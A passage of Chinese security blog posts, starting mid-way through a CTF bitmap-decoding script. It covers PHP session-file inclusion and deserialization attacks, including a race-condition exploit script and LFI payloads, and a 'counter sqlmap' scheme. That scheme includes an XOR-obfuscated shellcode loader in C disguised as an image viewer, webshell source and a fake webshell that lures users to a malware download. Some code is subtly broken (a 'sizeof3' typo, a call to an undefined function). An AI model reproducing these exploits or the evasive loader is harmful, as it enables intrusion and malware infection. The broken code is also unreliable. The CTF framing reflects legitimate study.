BAR 216, 367, 56, 2
BAR 216, 319, 2, 48
BAR 240, 318, 2, 49
BAR 184, 351, 2, 16
BAR 168, 351, 16, 2
BAR 168, 311, 2, 40
BAR 152, 351, 16, 2
BAR 152, 351, 2, 16
'''
cmds = cmds.strip().split('\n')

def draw_bitmap(pixels, x, y, width, height, data):
  width *= 8
  for w in range(width):
    for h in range(height):
      rw = w + x
      rh = h + y
      pixels[rw, rh] = data1[w+h*width]

def draw_bar(pixels, x, y, width, height):
  for w in range(width):
    for h in range(height):
      rw = w + x
      rh = h + y
      pixels[rw, rh] = 0

draw_bitmap(pixels,138,75,26,48,data1)
draw_bitmap(pixels,130,579,29,32,data2)

for each in cmds:
    params = each.replace('BAR ','').split(', ')
    x, y, width, height = map(int, params)
    draw_bar(pixels, x, y, width, height)

img = img.transpose(Image.ROTATE_180)
img.show()

test

得到flag:flag{my_tsc_hc3pnikdk}

session利用的小思路

文章首发于先知社区:session利用的小思路

session利用的小思路

20211024180235.jpg

前言

做题的时候经常考到session利用,常见的基本就两种,session文件包含和session反序列化,之前没有详细总结过,就写写吧。

session文件包含

php.ini

session的相关配置

session.upload_progress.enabled = on //enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
session.upload_progress.prefix = "upload_progress_" //将表示为session中的键名
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" //当它出现在表单中,php将会报告上传进度,而且它的值可控!!!
session.use_strict_mode = off //这个选项默认值为off,表示我们对Cookie中sessionid可控!!!
session.save_path = /var/lib/php/sessions //session的存贮位置,默认还有一个 /tmp/目录

当session相关配置如上的时候,我们可以利用session.upload_progress将恶意语句写入session文件,从而包含session文件。

平常,当我们要创建session时往往会在php代码里写session_start(),但我们不写的话,也是可以创建的。

比如,在php.ini中设置session.auto_start=On 的情况下,php在接收请求的时候会自动初始化session,不需要执行session_start()。但默认状态下,这个选项是默认关闭的。

image.png

不过幸好,session还有一个默认选项,session.use_strict_mode默认值为0。

image.png

这样用户是可以自己定义session ID的。比如,我们在cookie里设置PHPSESSID=AndyNoel,就会在服务器/tmp目录下或者/var/lib/php/sessions/目录下创建一个文件:sess_AndyNoel。即便没有设置自动初始化session,php也会产生session,并生成一个键值,这个键值由ini.get("session.upload_progress.prefix")+我们构造的session.upload_progress.name值组成,最后被一起写入sess_文件里。

[WMCTF 2020]Make PHP Great Again

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}
//Please hack me with your 0day!

很容易发现存在一个文件包含漏洞,但找不到能包含的恶意文件,那我们就可以往session里面写入恶意内容,然后包含它。

session维持

按照上面说的思路创建好session后,问题又来了,那就是在php.ini往往还有一条设置

session.upload_progress.cleanup = on //表示当文件上传结束后,php将会立即清空对应session文件中的内容

默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,清空了就没办法利用了。我们要想办法把session留在里面,所以就要利用条件竞争,在session文件内容清空前进行文件包含利用。

方法一 | 借助Burp Suite

可以在本地写一个上传页面,然后抓包添加Cookie: PHPSESSID=AndyNoel,再用BurpSuite爆破

<!DOCTYPE html>
<html>
<body>
<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat flag.php');?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

一边不断发包请求包含恶意的session,一边不断发包以维持恶意session存储。这样就可以利用条件竞争把恶意内容留在session里面了。

方法二 | python脚本

原理和上面的差不多,但是我们直接编写脚本,写shell、取flag一把梭出来,用不着那么麻烦了

import io
import sys
import requests
import threading
sessid = 'AndyNoel'

def WRITE(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://localhost/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');?>"},
            files={"file":('1.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        resp = session.get(f'http://localhost/index.php/?file=../../../../../../../../tmp/sess_{sessid}')

        if 'flag{' in resp.text:
            print(resp.text)
            sys.exit(0)
        else:
            print('Thinking[+++++++]')

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

方法三(非预期) | 伪协议配合多级符号链接的办法进行绕过。

在这里有个小知识点,/proc/self指向当前进程的/proc/pid//proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。

payload:

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

另外一个payload

?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php

image.png

session反序列化

选择不同的处理器,处理方式也不一样,如果序列化和储存session与反序列化的方式不同,就有可能导致漏洞的产生。

Jarvis OJ WEB PHPINFO

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

如果只看php代码,其实我们是找不到参数可控的地方的,所以通过什么方法来进行反序列化呢?session.serialize_handler

session.serialize_handler (string) 用来定义序列化/反序列化的处理器名字。 当前支持 PHP 序列化格式 (名为 php_serialize)、 PHP PHP 内部格式 (名为 php 及 php_binary) 和 WDDX (名为 wddx)。 如果 PHP 编译时加入了 WDDX 支持,则只能用 WDDX。 php_serialize 在内部简单地直接使用serialize/unserialize函数,并且不会有 php 和 php_binary 所具有的限制。 使用较旧的序列化处理器导致 $_SESSION 的索引既不能是数字也不能包含特殊字符(| and !) 。

image.png

可以看一下这个题目环境的phpinfo,在session部分

默认session.serialize_handlerphp_serialize,而这里却设置为php:

image.png

这样就很明显了,因为处理器对应的处理格式不同导致出现session反序列化漏洞

但还是不够,因为我们还是没办法控制变量,翻看PHP手册有个有意思的地方:

image.png

既然如此,我们可以去看看有关session的php.ini的设置

  • session.upload_progress.enabled = on
  • session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS

设置是这样的话,我们就可以构造反序列化了。

<?php
class OowoO
{
    public $mdzz='var_dump(scandir("/opt/lampp/htdocs/"));';//从phpinfo看见的
}
$obj = new OowoO();
echo serialize($obj);
?>
O:5:"OowoO":1:{s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));";}

为了防止双引号转义,所以要处理一下,在双引号前面加\,所以应该是这样

O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir(\"/opt/lampp/htdocs/\"));\";}

然后自己本地写一个提交页面:

<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ADNL" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

抓包修改,在序列化的字符串前加 |,提交即可。

小结

session有关的安全性问题主要是文件包含和反序列化两个利用点,利用PHP_SESSION_UPLOAD_PROGRESS可以绕过大部分过滤。

SQLMap反制小思路

文章首发于安全客:sqlmap --os-shell反制小思路

sqlmap --os-shell反制的小思路

20210425140456.png

前言

之前有看到goby反制和松鼠A师傅蚁剑反制的文章,再想到之前写过sqlmap的shell免杀,觉得思路其实差不多,就写一篇sqlmap的反制吧。

sqlmap流量分析

(其实可以通过分析解密后sqlmap内置的backdoor后门文件(文章链接))

具体sqlmap的攻击流程差不多是这样:

  1. 测试链接是否能够访问
  2. 判断操作系统版本
  3. 传递一个数组,尝试爆绝对路径
  4. 指定上传路径
  5. 使用lines terminated by 写入一个php文件,该php文件可以进行文件上传
  6. 尝试找到上传的文件的访问路径;直到找到正确的路径
  7. 通过上传的临时文件,尝试上传另外一个php文件, 该文件可以进行命令执行
  8. 尝试进行命令执行 echo command execution test
  9. 直接输入对应的命令
  10. 退出 -–os-shell后删除命令马

然后我们反制思路其实大概分为两个

  • 一个是通过打开的页面嵌入js来直接执行命令
  • 另一个是通过打开钓鱼页面(比如flash钓鱼那种)

这两个相比而言其实各有优点,但我决定结合一下😯

通过打开的页面来下载图片马,然后进行rce

image.png

制作

图片马里面的程序用C写的,用异或做了免杀

这个是引用的头文件

//{{NO_DEPENDENCIES}}
//
#define IDR_IMAGE1                      101
#define IDI_ICON1                       102

// Next default values for new objects
// 
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE        103
#define _APS_NEXT_COMMAND_VALUE         40001
#define _APS_NEXT_CONTROL_VALUE         1001
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif

这个才是C脚本

#include<graphics.h>
#include<conio.h>
#include<iostream>
#include "resource.h"
using namespace std;

void image() {
    IMAGE img;
    loadimage(&img, L"IMAGE", MAKEINTRESOURCE(IDR_IMAGE1));
    int w, h;
    w = img.getwidth();
    h = img.getheight();
    initgraph(w, h);
    putimage(0, 0, &img);
    getchar();
    closegraph();
}

int main()
{
    unsigned char shellc0de[] = "\x1c\x65\x9d\x1c\xd5\xbd\x89\xab\xab\xab\x1c\xd9\x51\xbb\xab\xab\xab\x1c\xef\x4c\xc8\xae\xed\x37\x61\xee\x24\x1c\x65\x0c\x73\x1c\x79\xac\xab\xab\xab\xb6\xa0\xb0\x80\x2d\x09\xc7\x89\x2e\x24\x4c\xc8\xef\xbc\x76\x31\xbc\x75\x1a\x80\x9f\x3f\x52\x29\x65\x76\x2c\x80\x25\xbf\x2f\x29\x65\x76\x6c\x80\x25\x9f\x67\x29\xe1\x93\x06\x82\xe3\xdc\xfe\x29\xdf\xe4\xe0\xf4\xcf\x91\x35\x4d\xce\x65\x8d\x01\xa3\xac\x36\xa0\x0c\xc9\x1e\x89\xff\xa5\xbc\x33\xce\xaf\x0e\xf4\xe6\xec\xe7\xea\x6e\xac\x4c\xc8\xae\xa5\xb2\xa1\x9a\x43\x04\xc9\x7e\xbd\xbc\x29\xf6\x60\xc7\x88\x8e\xa4\x36\xb1\x0d\x72\x04\x37\x67\xac\xbc\x55\x66\x6c\x4d\x1e\xe3\xdc\xfe\x29\xdf\xe4\xe0\x89\x6f\x24\x3a\x20\xef\xe5\x74\x28\xdb\x1c\x7b\x62\xa2\x00\x44\x8d\x97\x3c\x42\xb9\xb6\x60\xc7\x88\x8a\xa4\x36\xb1\x88\x65\xc7\xc4\xe6\xa9\xbc\x21\xf2\x6d\x4d\x18\xef\x66\x33\xe9\xa6\x25\x9c\x89\xf6\xac\x6f\x3f\xb7\x7e\x0d\x90\xef\xb4\x76\x3b\xa6\xa7\xa0\xe8\xef\xbf\xc8\x81\xb6\x65\x15\x92\xe6\x66\x25\x88\xb9\xdb\xb3\x37\xf3\xa5\x8d\x60\xee\x24\x4c\xc8\xae\xed\x37\x29\x63\xa9\x4d\xc9\xae\xed\x76\xdb\xdf\xaf\x23\x4f\x51\x38\x8c\x81\xf3\x0e\x46\x89\x14\x4b\xa2\xdc\x73\xdb\x99\x80\x2d\x29\x1f\x5d\xe8\x58\x46\x48\x55\x0d\x42\x64\x55\x63\x5f\xba\xc1\x87\x37\x38\xaf\xad\x96\x37\x7b\x8e\x56\x0d\x8d\x0a\x29\xb0\xcb\xed\x37\x61\xee\x24";
    unsigned char key[] = "\x09\xab";
    unsigned char aa[] = "\x32\xff";

    DWORD dw_size = sizeof shellc0de;
    int i;
    for (i = 0; i < dw_size; i++) {

        shellc0de[i] ^= key[1];
        shellc0de[i] = aa[1] - shellc0de[i];
    }
    LPVOID men = CoTaskMemAlloc(sizeof shellc0de);
    DWORD lpflOldProtect = 0;
    UINT name = RegisterClipboardFormatW((LPCWSTR)shellc0de);
    VirtualProtect(men, sizeof3 shellc0de, 0x40, &lpflOldProtect);
    GetClipboardFormatNameW(name, (LPWSTR)men, sizeof shellc0de);
    HANDLE handle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)men, 0, 0, 0);
    WaitForSingleObject(handle, -1);
    image();
    return 0;
}

图片弄得差不多了,接下来看看sqlmap的流量分析

分析构造

sqlmap会使用lines terminated by 写入一个php文件,可以进行文件上传。


<?php
// 判断是否有一个upload的值传过来
if (isset($_REQUEST["upload"]))
{
    // 将uploadDir赋值给绝对路径
    $dir = $_REQUEST["uploadDir"];
    // 判断php版本是否小于4.1.0
    if (phpversion() < '4.1.0')
    {
        $file = $HTTP_POST_FILES["file"]["name"];
        @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;
    }
    else
    {
        $file = $_FILES["file"]["name"];
        // 完成上传
        @move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;
    }
    // 设置权限
    @chmod($dir . "/" . $file, 0755);
    echo "File uploaded";
}
else
{
    echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=D:\\XXX\\XXXX> <input type=submit name=upload value=upload></form>";
}

然后找路径,上传下面这个真正的命令马。

<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time",0);
$z=@ini_get("disable_functions");
if(!empty($z)) {
    $z=preg_replace("/[, ]+/",',',$z);
    $z=explode(',',$z);
    $z=array_map("trim",$z);
} else {
    $z=array();
}
$c=$c." 2>&1\n";// 将命令与 2>&1进行拼接
function f($n) {
    global $z;
    return is_callable($n)and!in_array($n,$z);//is_callable函数检查f($n)在当前环境中是否可调用
}
if(f("system")) {
    ob_start();
    system($c);
    $w=ob_get_clean();//返回输出缓冲区的内容,清空(擦除)缓冲区并关闭输出缓冲
} elseif(f("proc_open")) {
    $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
    $w=NULL;
    while(!feof($t[1])) {//feof函数检查是否已到达文件末尾(EOF)
        $w.=fread($t[1],512);
    }
    @proc_close($y);
} elseif(f("shell_exec")) {
    $w=shell_exec($c);
} elseif(f("passthru")) {
    ob_start();
    passthru($c);
    $w=ob_get_clean();
} elseif(f("popen")) {//popen()函数通过创建一个管道,调用 fork 产生一个子进程,执行一个 shell 以 运行命令 来开启一个进程。这个进程必须由 pclose () 函数关闭
    $x=popen($c,r);
    $w=NULL;
    if(is_resource($x)) {
        while(!feof($x)) {
            $w.=fread($x,512);//fread() 函数读取文件(可安全用于二进制文件)。512:读取的最大字节数。
        }
    }
    @pclose($x);// pclose()函数关闭标准 I/O 流,等待命令执行结束,然后返回 shell 的终止状态。
} elseif(f("exec")) {
    $w=array();
    exec($c,$w);
    $w=join(chr(10),$w).chr(10);
} else {
    $w=0;
}
echo"<pre>$w</pre>";
?>

而最后的返回包,webshell获取了网站目录、数据库类型等信息。

这个时候我们就可以写出一个伪造的sqlmap的”webshell“

echo "SORRY";
    preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B);
    $c="$B[0]";
    $key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//将命令执行函数替换掉
    $txt='D:/IIS5.0/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t";
    echo "$txt";//伪造连通

然后搭配上挂马图片的下载链接

$iscmd="%(.*)127;%si";
if (preg_match($iscmd,$A)!=0) {
    preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B);
    $c="$B[0]";
    $key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//将命令执行函数替换掉
    $payload='http://shell.com/index.html';
    echo 'WARN://'."\n".'数据上传成功,但与flash进行交互,请访问该网址进行shell链接。SQLMAP:'."$payload";

一代目

php写的不好,以后慢慢改吧

<?php
$A=urldecode(file_get_contents("php://input"));
$iscmd="%(.*)127;%si";
if (preg_match($iscmd,$A)!=0) {
    preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B);
    $c="$B[0]";
    $key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//将命令执行函数替换掉
    $payload='http://exp.com/index.html';
    echo 'WARN://'."\n".'Data upload is successful,but interact with flash.Please visit the website for shell link.SQLMAP:'."$payload";//随便写,诱惑别人点进去。反正我是不信sqlmap会用flash
} else {
    echo "SORRY";
    preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B);
    $c="$B[0]";
    $key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//将命令执行函数替换掉
    $txt='D:/IIS5.0/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t";
    echo "$txt";//伪造连通性
}

反思

其实这个连通性写的有问题,因为我的wireshark有点问题,一直是抓不了本地的流量包,只能看我终端返回的内容进行伪造了=_=

如果可以的话,师傅们可以抓本地流量包,然后改写伪造连通性的脚本。